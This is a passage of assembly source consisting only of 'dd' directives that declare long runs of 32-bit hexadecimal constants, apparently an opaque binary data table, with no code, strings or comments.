6031D792h, 23607107h, 6700B6B0h, 17B13214h dd 370B56h, 39FDE39Ah, 0E277A2D6h, 0FF045D1Eh, 5174A380h dd 1BB8709Bh, 10A084ECh, 0DBB864E3h, 13186339h, 46F8B94Ch dd 0A6CB06C9h, 710A31EDh, 253B5C07h, 3090F07Bh, 0E649727h dd 9B28D7DEh, 1D263880h, 7100900Dh, 1F8FD885h, 0C016B5h dd 82FE5499h, 5A915E47h, 45537C01h, 0FB876C33h, 8F45807Bh dd 0C300562Dh, 0D547B8B9h, 0F637F8EFh, 59BB00F4h, 4D9FC8A9h dd 7A00EAB2h, 0D50D1383h, 0C30CA51Ch, 23EED309h, 426D1007h dd 459037B3h, 37EDEA7h, 0C052061Ch, 7AD8A878h, 100CF45Eh dd 2950CF74h, 0C5DD45FBh, 10EE12BAh, 6F886522h, 147088CBh dd 5DFD7941h, 1F88DF00h, 27458A00h, 5426AABFh, 0EB4E0744h dd 705F4CF0h, 377EEC11h, 0B304D9F6h, 46FADDC3h, 13F348F0h dd 521CFCh, 705A7B5Ah, 800D3C4h, 0E23F5E82h, 60581ECBh dd 6BB7F0A6h, 0D9005DFEh, 0AA4DEBAFh, 0E2E923DCh, 6D7C05h dd 0A0423D63h, 4506FA04h, 0C7C50C01h, 0C64732B3h, 17CDE140h dd 776CC7F5h, 3480B96Fh, 0DBD7C7ADh, 8B4F5E07h, 0C170C9E9h dd 34E3FBh, 0ED4830FCh, 31B66A97h, 361D3D00h, 0C4877A0Ah dd 0FAE60129h, 1C85094Ah, 0B8508007h, 38FD6184h, 76D00713h dd 5074EE28h, 0A4C76AF3h, 703BCF00h, 8E879799h, 0B80E00A9h dd 0A378FBAAh, 53F64318h, 1E060500h, 45B71CD4h, 8BCE0057h dd 4901C1BDh, 0FE1E3BE3h, 9B1F3103h, 9ED24C80h, 0F92823h dd 9C20DE46h, 0B67E4727h, 0D37B9A01h, 0D02215BAh, 735833D4h dd 0B1B00DBh, 0EB72A978h, 0C81EBD02h, 86C56C50h, 8987CD19h dd 5DE823A0h, 5CA10076h, 468DFAA8h, 0F400BA35h, 7C500A44h dd 8A4B19h, 0D7E42E5Ah, 916AF2FDh, 7442CD00h, 0EE77C429h dd 8E590078h, 9FB8A6DEh, 110033E6h, 515D4A5h, 0D3BA82h dd 0FD3DB502h, 0D81065C8h, 9A30A000h, 70B70FADh, 480900EDh dd 0B5A4F21Eh, 5D009BB2h, 0DA300329h, 505F0E44h, 589419h dd 1F6A48E7h, 16C80DC9h, 6DF22F00h, 9FD610CAh, 0B67000FEh dd 0B4B70706h, 970FF423h, 322894h, 5D4EE47Bh, 6F05007Ah dd 0F612656Ch, 2007334h, 1E07BF95h, 15AFFE6Ah, 0F89CE120h dd 0ED452500h, 0E544F99h, 95641C00h, 7CB8336Dh, 623F245Ch dd 9F2F03E8h, 81FBD77Fh, 5F781CD0h, 0B6A08700h, 0CD151859h dd 0D9A900E4h, 0E771AC7Ch, 7D02D117h, 4DA83113h, 13143BBh dd 0EAFAAE20h, 83E5075Eh, 3133F410h, 288AC8A4h, 84640EF6h dd 4780BB5Ch, 57B482B6h, 930BC1Fh, 6BBD07FCh, 3991BF77h dd 4EE80EA2h, 0C10200B0h, 87D1D355h, 0DC131B3Ah, 0BB002441h dd 539E62DDh, 0A6F00165h, 6D64EC6Bh, 789AD88Eh, 0CAB160F3h dd 0FE2E4300h, 0EED67B2h, 0CB8B00A3h, 6A1BDFC9h, 0C70AA569h dd 0D01CD889h, 79382800h, 2619AFBAh, 0F2A9981h, 5EC0FC62h dd 0BC8FF6C7h, 164FA603h, 8A4A2468h, 64A66048h, 13E267h dd 0B42A0D9Eh, 0E2151D3Eh, 71264514h, 0B36F04D0h, 3F436B67h dd 34B198C5h, 2906D825h, 4C3EEE90h, 0F50A00AEh, 0F36E2877h dd 9B430250h, 4F92DC86h, 337B9DC0h, 0DDF1744Fh, 17497220h dd 1C509061h, 0C0F3DC48h, 0B662D458h, 4F003102h, 8B7CD3C6h dd 261A97D2h, 806CF0CBh, 0A1D8A312h, 0B0191A6h, 686684ACh dd 0A070A22Ch, 0A492055Dh, 802B24EDh, 7C18C7F2h, 0E29C0500h dd 7863885Eh, 0FB8E13B5h, 46F040D4h, 17FE5C97h, 89BB3C00h dd 92B6523Eh, 96E00D1h, 0E9A8F69Ah, 0BD010EBAh, 639D1F68h dd 0BEE4F0C9h, 0A16101A9h, 80C3079Ch, 99F3C308h, 460B8D8h dd 18261700h, 2C10F6D8h, 94E900B5h, 65D6ECBh, 14006DA2h dd 96D56945h, 72484376h, 34461F3Ch, 0DFF980E1h, 2820EDC6h dd 19889201h, 0C9D48D62h, 186570E0h, 0C0DC4CE0h, 1601EE49h dd 73AD7E59h, 0ECC45C24h, 45FA0099h, 9077CB7Ch, 1E01C572h dd 0E561581Dh, 29F81F5Fh, 0D1350707h, 60093F79h, 0B7379FD2h dd 2BB6EC00h, 96BA0D94h, 0E50403CBh, 0C53DA339h, 9246B0C0h dd 28C88000h, 0B17DCD90h dd 0DEA004Fh, 2B44E961h, 93000BE2h, 58D08F5Eh, 724FB0ECh dd 4CB405B9h, 80D2F0FBh, 750EC1FAh, 793CF400h, 53DB7199h dd 9DE902FFh, 42C8D7Ah, 9B94D068h, 0B70035ECh, 8195C9FCh dd 69ADEAh, 0C9322F6h, 6CF33625h, 1FA2D5Ch, 5133D15Eh dd 38E0852Bh, 998F0018h, 0B89A3995h, 72F4B71Dh, 1F63Dh dd 74D9C3FBh, 506B120Eh, 9FCCAFh, 0FFA07A9Ah, 22874E23h dd 0E7D7061Dh, 0A6C4AD41h, 0F2EF30ABh, 8E4A01Eh, 0AED070h dd 90CFA382h, 0B24681FDh, 5C262B71h, 0EA0060AAh, 6BB08036h dd 6CEE0011h, 0A6820488h, 0D4004CC0h, 0B5B74855h, 3C7E07Dh dd 0DC1C0CEEh, 0BCB8D7CCh, 0FC030F59h, 924E4881h, 2D9AE110h dd 44DFC8h, 39A82FC7h, 261E51BCh, 6D0F0D00h, 0D4DD40B0h dd 523F00DAh, 15B3EFA4h, 0BB3BBFC2h, 0A708084h, 5AA57859h dd 0B44B00B7h, 787E912h, 7360AF1Dh, 0D298D850h, 154D0077h dd 0DC905808h, 4500E54Fh, 13596144h, 520A0Eh, 501B5EF4h dd 0DBE973F2h, 335383Ch, 7F5F65C7h, 8D3ECBA9h, 87B8A4D0h dd 7E8A39E8h, 91ECE0D5h, 302B020Dh, 12C9C077h, 976624C0h dd 807A543Fh, 0F988B4F7h, 1449B96h, 0E519BDADh, 0E4824C4Fh dd 0FC501601h, 0F7009FE4h, 6F0E733Dh, 0B8AC72F2h, 58760E44h dd 0D4F40D34h, 1FDF3800h, 3DE25EF8h, 0F51291EEh, 0B8003683h dd 0CD706E05h, 7E7630h, 495C0F17h, 8A8547B7h, 0AF2ADA00h dd 0D4A8AC68h, 0F487F0A3h, 0D3970F33h, 6E40E874h, 55A17A7Ch dd 250007EEh, 769A102Dh, 8E2726h, 0C385FF1Ah, 0AC8220C8h dd 63528300h, 53B265AEh, 1F0A0F2Ah, 0D7E0C32Eh, 309BE9B3h dd 0E4AA7B00h, 4992807Ah, 3247098h, 9A135223h, 58C86C46h dd 1E00390Dh, 7C1AC6B9h, 2894C1C3h, 0D44007h, 442C7625h dd 6EF70E5Dh, 0EE3FCCFEh, 0DEE18037h, 33F6F0CAh, 1D440018h dd 57740CA5h, 5500D8D0h, 35FA737Eh, 2D9DF625h, 0C1C0403Ah dd 4F07BBE2h, 65CAF30Ch, 76EA0E50h, 77E7002Eh, 0C28D8CA4h dd 4100F7B6h, 84D4C048h, 265E81ECh, 23B13EFh, 3BC17D27h dd 8A1EB880h, 0EB05D986h, 83A8E7BFh, 0A372A840h, 806FFD05h dd 0E80FBBF2h, 0A093B1C8h, 0CD3BCC61h, 31FC00B9h, 0D5A6B3D4h dd 8D030708h, 30EC9098h, 54A7F110h, 77D4D0h, 4D23263Dh dd 46FA4749h, 0ADAAAC00h, 8017C9F9h, 52BB00D6h, 4C56027Fh dd 6581169h, 8DDC05EFh, 0A4D0A04Eh, 58E9D658h, 0F50CC6Bh dd 15C23E12h, 821E3C00h, 0F7F8C713h, 467F722Eh, 7427C00h dd 0BF5786h, 0BEC54B03h, 71E563D8h, 848D6024h, 14B8DA80h dd 3B60959h, 0C07DC84Ch, 51B0BA5Eh, 0B92EB530h, 0AE00FC67h dd 0A6F79D46h, 0F56B0011h, 0E4FB6220h, 0CB4C2C6Dh, 36C700B9h dd 0D14112A3h, 0F6D98A5h, 5A0C44D4h, 5660C012h, 991E8CEBh dd 0E7C77818h, 58B53AD3h, 415C1003h, 289900ABh, 27D03101h dd 0C4133061h, 0C00FD1F8h, 0F5007F26h, 69423AA3h, 0D0D200CFh dd 7204849Dh, 0DC00642Ch, 0D1DF3F3Ch, 0CF6E3Ah, 97A6A0C3h dd 8CD85638h, 8F60547Ch, 3121D470h, 77C0008Bh, 19BC171Fh dd 4C00DE40h, 775229Dh, 141A2E1Eh, 583191D1h, 1C8CD9A1h dd 27C78025h, 0D7577E14h, 5E0E1410h, 9052001Ch, 82F3F031h dd 7A1607B5h, 406ADF01h, 1C56374Ch, 1DA8790Eh, 486EA193h dd 1FED1244h, 81E0F0h, 0C3F3460Dh, 45C1277Dh, 31679900h dd 7887B5B3h, 0F82100B7h, 6A135AFAh, 34149610h, 2D36F79h dd 0F5824DA4h, 0D3CA60D1h, 4191C04Eh, 0AC4CE6D9h, 9AAA261Fh dd 8B08D240h, 18D85525h, 2889F3C2h, 0CE00A7D5h, 0A43FE642h dd 0D3AD71h, 75A04120h, 51083B79h, 0D10F8C98h, 786ECC9Dh dd 0C0D2D460h, 2ED7E869h, 5F01816Ch, 0F39A7225h, 904002E9h dd 69E107Ch, 0D161B4A6h, 0F200711Ah, 1DF668DAh, 134E420Eh dd 0AEEDB60h, 83AC8F42h, 7C435207h, 27CD201Dh, 0CBECFE82h dd 0DC8100A6h, 541FD213h, 0C58E7AFBh, 442FE027h, 5BF56Fh dd 8AC63BEBh, 0D8B06CFh, 70576703h, 79BE44F9h, 0AFEB0061h dd 0A93ED92Ah, 240027BDh, 0F18E9FA6h, 74A54555h, 0B11F6161h dd 74180DCBh, 790056E4h, 93D2BF5Bh, 1F8C0665h, 8137F4h dd 2A86DE3h, 0D01BC9Eh, 2BCBDBD5h, 38BA798Bh, 0D6E49500h dd 0DC755DFFh, 6201DE74h, 0C6BC96C7h, 0B661CA91h, 55E0E0h dd 0BB872054h, 0B798DC6Ah, 0DBBC6000h, 23B6A774h, 0B2A3035Fh dd 771650E0h, 9AB02910h, 2CDCEF03h, 12900D37h, 751E131Eh dd 465C91F9h, 5FFF003Bh, 0ED9ED6E0h, 0AA28035Dh, 483D18CEh dd 53E8F8C0h, 9FEFB00h, 61E6E1F0h, 45800FAh, 84F5CC30h dd 0BB1285ADh, 0BF00AA3Dh, 0BAE3B278h, 0FFF70088h, 5B7FFDB8h dd 0AF0F0955h, 6084E42Dh, 7D66C469h, 9ADD00A8h, 98B62710h dd 2B002F94h, 0A0A36EBEh, 1402FB34h, 0AC5D310Bh, 78E1CB00h dd 558997F5h, 0B61BCC00h, 10C7917Dh, 314C3820h, 0A0DC0914h dd 48FE0179h, 2D993FDBh, 0F9A7E8CDh, 5251011Eh, 83477500h dd 431A9D4h, 2F05F1Bh, 76CD80A1h, 0F8006846h, 0E3B0C612h dd 8D9491h, 0CBCF4ED8h, 152EA6D4h, 37AC7900h, 6FADA3BBh dd 936E00C5h, 2A4FB664h, 0DD00C0DEh, 82450E6h, 556C38h dd 4C9E2EB9h, 63F6E93h, 0F4F19C00h, 0FFB33B51h, 0A71200C8h dd 1CF0C70Ah, 0B800AFADh, 33E072BFh, 0C24024h, 10035FD8h dd 83179C36h, 0E4648800h, 0DE5A4B5Bh, 0CBF32C33h, 0AD740761h dd 27E6518Bh, 0F28440DDh, 3A17C8D0h, 7002B79h, 7E7519AFh dd 577A0034h, 3BB3DB71h, 0E9000AD2h, 0CAA8EC59h, 0F1445114h dd 877E4E83h, 67EF0DFAh, 0A5A640E2h, 0CC162FFCh, 4F0080F1h dd 2B49617Dh, 96DB4CA3h, 0D7ABDD03h, 30F034B9h, 0A9005E70h dd 2D368C92h, 399BBF44h, 580BEAAh, 5FF53F51h, 76005C53h dd 162FA56h, 336D22h, 968378CEh, 85BB5B6Fh, 6CC5EC00h dd 28EC6EEh, 0B6542416h, 0CF3901EBh, 0C90B85E8h, 0E29C205Ah dd 0E400677Bh, 86187112h, 7C8EB5h, 6F2B77AAh, 0CF650C46h dd 0B0845103h, 0BDC6E550h, 3FC37D80h, 88110091h, 0AE0B760Dh dd 627BC7ECh, 6F06B600h, 1BAD97F9h, 447F7Dh, 68509336h dd 0B624FEC6h, 0BDD7671Ch, 1F8EACC0h, 344AA60h, 0C6015AD5h dd 0F1A813FCh, 0C31E1E4Ch, 33405F69h, 0DDA760CDh, 0EDA406B9h dd 30DB91C4h, 89C77E03h, 0F8B114B3h, 3D50316Ah, 6D03062Dh dd 0DCE98FDFh, 5DE05EF0h, 0EBD45Ch, 0B2A6D643h, 799A0Eh dd 0E433BB49h, 5218F881h, 347AD700h, 32CEFE13h, 0CAEE07B1h dd 40533C22h, 5B1B1D7Bh, 4A72700h, 70AA5FBBh, 15D0299h dd 7BF4EBCBh, 36DD8740h, 61F58D13h, 0B73C4404h, 5C115080h dd 97FC0E01h, 4BE0E671h, 6FDD81A7h, 5F22AF1Ch, 7EE27380h dd 7FE9158h, 2D5FF5Bh, 2FAF114Dh, 0FD16D468h, 125A0F38h dd 0B040D1DEh, 0E74A712Dh, 6B1D0E3Eh, 0A7E060FBh, 3B928B5Ah dd 0C9BF7501h, 5E4543D4h, 0D04BF843h, 0C34DACh, 0C25B1106h dd 7C8AA551h, 3D122200h, 7A105F97h, 0F2AD00FEh, 0EBB7199Ch dd 0A648C892h, 38487Bh, 8A62F4FDh, 782D4DDh, 3D22416Eh dd 0F888605Ch, 7EB0A598h, 4FDCBE00h, 72B764C9h, 102F0068h dd 0F090098Dh, 0FB002A6Dh, 4DE97DCAh, 282817E6h, 98A2C5h dd 378D1D60h, 0D8C13C2Ah, 0B6DA8A00h, 810573ECh, 9F500095h dd 8B8B5A0h, 412C481Fh, 0D9D3E6Dh, 0E08589CCh, 0E06400C4h dd 23ADE659h, 0C80310AAh dd 747F3414h, 5489F0ABh, 0A7F10F4Ch, 452108EEh, 0FC84EDBAh dd 0F500C940h, 569E97BDh, 6344E8C5h, 2CB5F87Dh, 23E8B89Bh dd 66003EC0h, 5BAB384Ah, 0EE9CFE14h, 0BAF1234h, 0EC40035h dd 198E1A71h, 0DE86E00h, 0A8788D9h, 0C44224B3h, 65BE0948h dd 0DC470890h, 75A81980h, 78924Eh, 0B057458Bh, 0E2D533ACh dd 80EB403h, 0F84EFF18h, 75F48Ah, 8C787AC3h, 844460AEh dd 61C13200h, 0B129AD5Fh, 941F48FDh, 291E24h, 0CA704686h dd 0FE0DD34h, 0C807D570h, 0C5C32BE7h, 0E19180AEh, 30D1348h dd 52451916h, 860AE7Bh, 0D370FF70h, 6AFA0088h, 5041C4AFh dd 63785F93h, 0E401D8B8h, 69A7FD74h, 35F0DAACh, 19713956h dd 77A15900h, 93E5D420h, 0B1C12400h, 23BB4B65h, 7FE60074h dd 42728F83h, 490D2E0h, 4BD55D00h, 69D4D366h, 0B48800BBh dd 0A971CB45h, 750F4D11h, 0C0EA53E9h, 5C5459FDh, 95070F4Ch dd 9CC0A5E0h, 133DBAAEh, 5F0D3A00h, 375B2156h, 2CF009A6h dd 98A074E3h, 4DF33C41h, 905048h, 0E9B99E5Ch, 0C85D8E12h dd 8A08F610h, 1E69EBBh, 0B0E71A8Ch, 0AE66C0AFh, 0ECEA0E1Eh dd 4AA97403h, 0E0C581CEh, 0A2C0A7E1h, 3CDA359h, 0ACBE62D0h dd 0E100CA27h, 0B0ABAD0Bh, 30DC5C93h, 0FB610405h, 0E0283CB6h dd 441D1CCDh, 320341Ch, 1303B736h, 0AFA0CFB3h, 60592BB0h dd 0B9C739E4h, 0EE36801Eh, 441605B9h, 616438A5h, 69075B80h dd 1F956CA4h, 0D8B66A00h, 5B87DA1h, 552601C9h, 707E4FC1h dd 0A445E0A9h, 7469C09Fh, 9EBE00EDh, 0BDB3B57Ah, 4B007092h dd 21D8405Dh, 258E8Ch, 0ABE68B02h, 62F0F2CDh, 63048700h dd 234788C3h, 0B9180334h, 0D967B757h, 7B0EC0FFh, 5027CA3Ch dd 4D5ED6h, 0AF8553ADh, 6717EA6Fh, 410E1370h, 697C000Ah dd 39FB5548h, 453617Fh, 1841A8BEh, 107E5069h, 0EA004081h dd 70A4EE56h, 734A2DCEh, 7550672h, 199303E4h, 3542767Eh dd 6718EF22h, 734888EAh, 606361FAh, 0A0B3E746h, 11003C21h dd 5E870515h, 1E5F845Ah, 8137E9E6h, 5234FAE5h, 7618802Bh dd 85F927CCh, 784FF84Ch, 9EE11E0Ah, 83063AA8h, 50AB8169h dd 8B3BE70Eh, 3F1CF64h, 909E8A08h, 0EE06FDA1h, 0E240A0E4h dd 4BDE0079h, 2D37552Ch, 7F3DF64Eh, 3F07860Ch, 0C8AC47Ch dd 8FFBE70Fh, 0DE4F3C8h, 8063E083h, 81710326h, 70D8555Fh dd 84C78DD8h, 0AF04C15h, 0F1BC1B74h, 9D50A8F8h, 62BF800Fh dd 4576880Ch, 727E4080h, 0FA0F8F1h, 3A2F21A1h, 858C0960h dd 71F93EE4h, 907AFCB1h, 0AEEB6301h, 0F7518B42h, 12FC99F1h dd 84EC0F94h, 812AC713h, 0C602BCACh, 0F6514846h, 684EF0A0h dd 8205BA43h, 731AD60Ah, 88D9FC20h, 0CA513083h, 17322EC0h dd 200C81CEh, 0FC700753h, 0A0B5F879h, 5428298h, 6184B688h dd 0D24611Fh, 883B08CBh, 8654B03Ch, 0BB7B4790h, 5F2E3F00h dd 0C0E8BCF1h, 5007007Fh, 0F64D57FEh, 7C3AD558h, 3CCD018Eh dd 47F3052Eh, 140C0420h, 0FC87E1D4h, 54573E07h, 0F9584348h dd 94676C0h, 0BB118406h, 7B8F635h, 9EA870BFh, 5EA3C50Fh dd 885869B0h, 3A90CCD5h, 9081BA84h, 73BB2C84h, 2A181548h dd 74A0802Eh, 1A80E8ABh, 0EAA015B6h, 1909BC7Ah, 6B0C6AD0h dd 0CC1B4F48h, 0B8B09F8Dh, 3F520E7h, 0BD61525Ah, 0C0D7B246h dd 0F87D0524h, 58845924h, 6BCFE600h, 4C07B81h, 7EFBE961h dd 80288814h, 5D62D8E0h, 4462FF18h, 8AAC2A74h, 4290A1B0h dd 0FD11F45Bh, 8BF503CBh, 9C2D866h, 747E9C48h, 3E1EEC10h dd 0FDF7F401h, 7BF067CDh, 0A0FCE0A2h, 382E16ECh, 0F4858D6Ch dd 610A5ED5h, 0CCC0934h, 907403E3h, 0B6731740h, 0CCFB7024h dd 7A0AB080h, 5411FA1Dh, 3A46C06Ch, 0FF7C52h, 0A80AF54Bh dd 0C6F72FEh, 637B5F01h, 86DD82D2h, 6536C24h, 67FF040Bh dd 7E005847h, 0A9D1E45h, 3D119327h, 9C28F682h, 0B7FE88h dd 80175978h, 0E30C4ED2h, 0D4855CA2h, 0E8805073h, 887CE480h dd 5D14E26Fh, 9FC4BC09h, 8C879A00h, 7A8F7C33h, 8665003Ch dd 8AC240Ch, 76015541h, 4E839947h, 0B8B80AE5h, 774FEA8Fh dd 0FF706D2Ch, 0AB696502h, 81A703h, 8E4F92E1h, 51C58D12h dd 0FEFF4000h, 36FAF021h, 48A8C00Fh, 0A81AED40h, 1988E5A4h dd 2822F392h, 1D6708C3h, 41D0E8D2h, 3AAFEF1h, 9A34411Bh dd 0EA8080E0h, 0C9ADB104h, 252D0055h, 87ACF32Ah, 290F7EDAh dd 9745F0h, 6BE98E82h, 0AAFAA8h, 934671A1h, 5472B594h dd 5150EF05h, 20003322h, 0EE5CDAA3h, 0DD490035h, 8034C9A1h dd 0AE00AB4Ch, 0DAC2934Eh, 0B42ED7h, 2C823592h, 0CE756014h dd 0B63A9400h, 0F037DB6Dh, 57CD00ABh, 0F2A08A2h, 0A801281Eh dd 43407CFBh, 3080766Fh, 5ED86896h, 1BF87EE7h, 0E24DBC1Fh dd 0AEB84500h, 3523DBBh, 5D919A3Ah, 17AB4610h, 253BCFE8h dd 0F8C72E30h, 2ABC8FA6h, 2843173h, 870F2C2Bh, 19407401h dd 0B000ABCBh, 0B39BCCA2h, 2BBCA3h, 4CAE393Ah, 0C2B72D4Dh dd 318A5807h, 813F3511h, 8E17F2CEh, 0E8D11E31h, 1B7B058h dd 29D59DB5h, 42FF3E9Fh, 1800B2B8h, 17EB45h, 15FDD4DEh dd 2CFE4F83h, 0B8A82B61h, 33EC4203h, 561F20A0h, 0ABC3539h dd 0B06F8ED2h, 0AD05E204h, 8D7DD581h, 0FB3DD0CCh, 462D4182h dd 7560D9CEh, 9400CFCCh, 0BE8587C2h, 13D596B4h, 1F44386Ch dd 54470701h, 574581BDh, 0BC2CEC18h, 1C0B1902h, 87FFE4D8h dd 0C7817C8Ch, 94509C88h, 0FC45EB37h, 1D800DB7h, 329E328h dd 0FCD164B8h, 98309114h, 0DCE08900h, 4222064Dh, 2926DA03h dd 80DD053Eh, 3AE55C0Bh, 0D83A15BAh, 6E3D0400h, 0EFF1CA66h dd 58C1AB00h, 0D34B8A2h, 30800F38h, 96C794A0h, 406047D9h dd 0C42730Bh, 9E6FE101h, 0EF580EEh, 8C33F4h, 2D07047Ah dd 8DE12B14h, 0FCC2A12Ah, 187E6104h, 6880563Bh, 12FD5446h dd 4063AEB5h, 30C66224h, 3200C744h, 19439CB8h, 0A4B10826h dd 0EE2F06D4h, 3045F2A0h, 2234D048h, 54FA1D28h, 12C82A51h dd 1F2FE860h, 6868248Ch, 5B1224h, 0A38612A0h, 50034729h dd 0FD42BB15h, 9520036Dh, 5B12FACh, 6BC1BC97h, 1E1828C8h dd 0A3092169h, 97C821B2h, 0B4ED3DD5h, 0D7C46980h, 0FBA7D4DFh dd 0DAA86C0Dh, 2CEE20B8h, 0BA11D050h, 99661142h, 1B22292Fh dd 0C81EF0FFh, 419CE40h, 0FC243519h, 0AD5600E2h, 75D31A2Fh dd 20087A9h, 93476FA1h, 908CB459h, 45200240h, 442F6D8Dh dd 0B85B8890h, 0DC46E200h, 50481A25h, 3EA200EEh, 0A74092F9h dd 982415D5h, 0A900A030h, 0B45D309h, 0BF541364h, 0C4C4126h dd 0FE294310h, 0D42A3441h, 0A1908298h, 0C8F6ACA9h, 77904BFEh dd 68F08026h, 0A59A7040h, 48BC1585h, 8000BCEEh, 0F4A604E8h dd 0D7F2FB32h, 6890C870h, 776C6501h, 0DB523C2Dh, 2482A054h dd 0A8EF218Bh, 93242467h, 4565860Bh, 30FF094Eh, 4A8068h dd 8D865EDBh, 6EABB1C1h, 504878D2h, 0FDCC80C4h, 57BF84F3h dd 214C43F1h, 43AEB91Ch, 981A8E6h, 3D1173B6h, 59C1E0C7h dd 0CFBD14A2h, 61645CD8h, 443FC055h, 0AC5C6F4Dh, 30AB010Ch dd 0D249E9C2h, 0ED60C024h, 43E8192h, 80B1AB18h, 547DC0F0h dd 16D889C0h, 1501CC45h, 6CBB4080h, 0FBDE3206h, 0D53971A6h dd 0BBC301A3h, 5894E8B1h, 3002463h, 40353D10h, 1803014Eh dd 59B6BE0Ah, 180847FAh, 157482C0h, 0C2007AB8h, 0A8B3EE9Dh dd 12C6F358h, 27E85909h dd 0D27B80C8h, 0BB004137h, 94E4C31Dh, 2911D5h, 83B718C4h dd 0BD75868Fh, 23F2CB0Eh, 474D490h, 7A32F320h, 2A12A8C7h dd 2540803Ch, 7819D009h, 0D9BD0383h, 0DD622BF2h, 87553901h dd 7F17CBC2h, 15E88C51h, 0D1DEC980h, 98286DD9h, 0A9C030E8h dd 0CBC843B8h, 4542023Ah, 33A17CFDh, 2343048h, 0A5F9F002h dd 6340CFE0h, 3087E530h, 0C7C1A250h, 0C15188Dh, 48D2F0C8h dd 80C06C54h, 81057379h, 1DA93BFCh, 0BBC82893h, 5946F929h dd 916C60h, 0C6BCADD8h, 98A770E9h, 85480D58h, 0A44144E6h dd 30E10B9Eh, 32053882h, 0B80096B7h, 0F3FD294h, 313C2C68h dd 14D066EAh, 71C80887h, 910F68C0h, 0F94324D2h, 0E6003EA1h dd 15700565h, 8D008092h, 0B1DF8BBDh, 155F959Fh, 202BBE18h dd 0F581Fh, 0C44519D8h, 3B5C737Fh, 0C1EF0B1Ch, 421C0099h dd 9062082h, 6E076D41h, 0D8550D06h, 0E1FC0135h, 60A02B80h dd 6910C054h, 0C6B830AFh, 2A90FC99h, 547F6B1h, 1E5F2098h dd 85944385h, 226E42D2h, 0E88535C0h, 91D80E01h, 0D04015A5h dd 0D8941E14h, 0CBD3F505h, 88C7B7B8h, 0C7DC07C9h, 7F423690h dd 299E20DDh, 2A279F1Eh, 907183BBh, 0D82C91D7h, 75C1F051h dd 5A17495h, 2B3AD443h, 0D2E88133h, 0C7F184FEh, 41E320Fh dd 0D2CA5F20h, 0D061993Ah, 3E388EBCh, 0ADEE4045h, 2594E3Fh dd 0E09D0BB8h, 891464Ah, 4C201840h, 247C288Ch, 0CAE32h dd 3EC8B570h, 117B9558h, 0FF286E14h, 4F7DE044h, 0A8D4B385h dd 67FD0070h, 36D7AB69h, 5005576h, 0E1BF28A4h, 32CB3170h dd 0B384DFEh, 1206F010h, 20155ECDh, 0DF4811FCh, 75FDEF15h dd 0B07301D0h, 81CD15B7h, 0AE14C823h, 2502A086h, 0B52B9442h dd 5B67CC99h, 0C7C012B0h, 40AA457h, 4486A48Fh, 380433h dd 0D2A1FB99h, 45758089h, 39342C05h, 832ADA6h, 67E63093h dd 0A5F05909h, 0C3B02095h, 12686FD2h, 3B7B68Ch, 2AE4FEF4h dd 13ACE85Ah, 0B401D849h, 685319A1h, 0D1FC2081h, 12797EEEh dd 3424C99h, 0C88A0181h, 35F3111Eh, 0E4AF499Eh, 76394060h dd 4100E209h, 685A6C2Eh, 0FEC33EDh, 9099076Fh, 0E0C31E63h dd 0D09EA6C1h, 0BB3C3C3Fh, 38B4CC68h, 0AA9F1854h, 0FFC968h dd 0D342331Bh, 2118631h, 24B42C48h, 66E2B0CAh, 8A670049h dd 515D1DE8h, 2C4380D4h, 92403942h, 976D2644h, 192B9FE0h dd 0FA051841h, 2CEF1040h, 7BCF0B05h, 80C0C853h, 0F3B2173h dd 0C66345E8h, 18DF9EC6h, 12ADB907h, 0C8D010D7h, 2C4680AEh dd 806C732Bh, 0FC782C2Eh, 4C60F08Ah, 3EFFD291h, 0E1460039h dd 60D83C48h, 411E3058h, 0E2071643h, 0F9875E94h, 0C350C0BAh dd 0B8378082h, 500AE70h, 0E41A454Ch, 0EF88FB7Ch, 249415FCh dd 15685C96h, 0D5159022h, 611418B7h, 53B23036h, 0F680F0A0h dd 56601B9Fh, 25B77340h, 17EA99h, 82020A88h, 84093F2Eh dd 6BD2B315h, 5C0175D0h, 831C01B8h, 0A02013F4h, 20AD17B5h dd 16A00FECh, 6142485h, 9006D00Ch, 70E4FF52h, 42BAED0Ch dd 2EBB993Ch, 80A8CDB3h, 5EB42E15h, 540CF0E9h, 187318E2h dd 8914093Ch, 1C00CFA7h, 8B1DF7FDh, 0EC452B26h, 95277D00h dd 9ABB2D5Dh, 0DCF53EE4h, 54D84B2Ah, 6C408B9h, 0CEAD6AD4h dd 0BC4F8156h, 705031A8h, 7B1C0A0Bh, 0FCCA73h, 15AC27B7h dd 0A491C73Dh, 0B600AD24h, 2416C367h, 1FA27CFCh, 0A68245BAh dd 6E1286FCh, 0B57C40CCh, 80016C28h, 84553106h, 49C3A1h dd 0B3034A7h, 4452D210h, 5099421Dh, 0B0219E1Bh, 13D302Ch dd 8305805Ah, 200EC315h, 4F50F11Ch, 857110FCh, 0E12CEA00h dd 0AB7BD046h, 2078D3B7h, 5F93ADD0h, 0A4B4A4A0h, 0F2144080h dd 0C200F349h, 18C07C09h, 1548C921h, 909A47h, 8918FBCBh dd 30FA6D3Ah, 0F974A87Bh, 2DB0D050h, 18546E07h, 0A0EE2313h dd 3F077260h, 921D02ACh, 9CF5BA26h, 3EB73882h, 422D4F00h dd 4A433025h, 9F2E8010h, 0D9F0BE00h, 0F4E0E68Eh, 0E8E3004Ch dd 0A9DE4B84h, 93007CAAh, 0DA383B90h, 1DBDBB52h, 4E3D682Ah dd 74407180h, 69532CC5h, 0B8219900h, 3540E10Eh, 16DC3DA6h dd 0A7B500FDh, 7BFAF7BCh, 2C00383Ch, 0BF18CEA1h, 342ECE0h dd 40BD89C7h, 30F80117h, 366016BEh, 0E53C2170h, 3E460060h dd 6E92394Ah, 0A1009103h, 99D20915h, 0F0ACD640h, 22AE002Dh dd 44D788C8h, 5B0B0EC1h, 12C2ACCh, 0D668384Ch, 7C5255F0h dd 20DA0458h, 0C087C1C8h, 11233AD4h, 967692FCh, 0D6AF78C0h dd 0A53E80h, 0F71BC774h, 0A3F836BFh, 47EC5806h, 9604355h dd 0DBA8BDD9h, 0C5385A80h, 3701D10Eh, 7AB20F95h, 0B89EA625h dd 883F00A1h, 0C76A0E32h, 0D7C68100h, 84A373BDh, 1B5F0067h dd 6D28A768h, 9600128Eh, 13E0F34Eh, 0BC1709h, 0A1D48325h dd 0BBD32B0Dh, 1A00C5F0h, 0FF1B36FDh, 63A41997h, 0D47908D0h dd 2EB2000h, 601CC4FDh, 0D6EF047h, 26A1CA8Eh, 0A478F041h dd 0D638BC50h, 13D9C31Fh, 0EFE02177h, 0F46CFC57h, 0D6C91001h dd 888864C1h, 4BFD1760h, 98371B10h, 0E68170C8h, 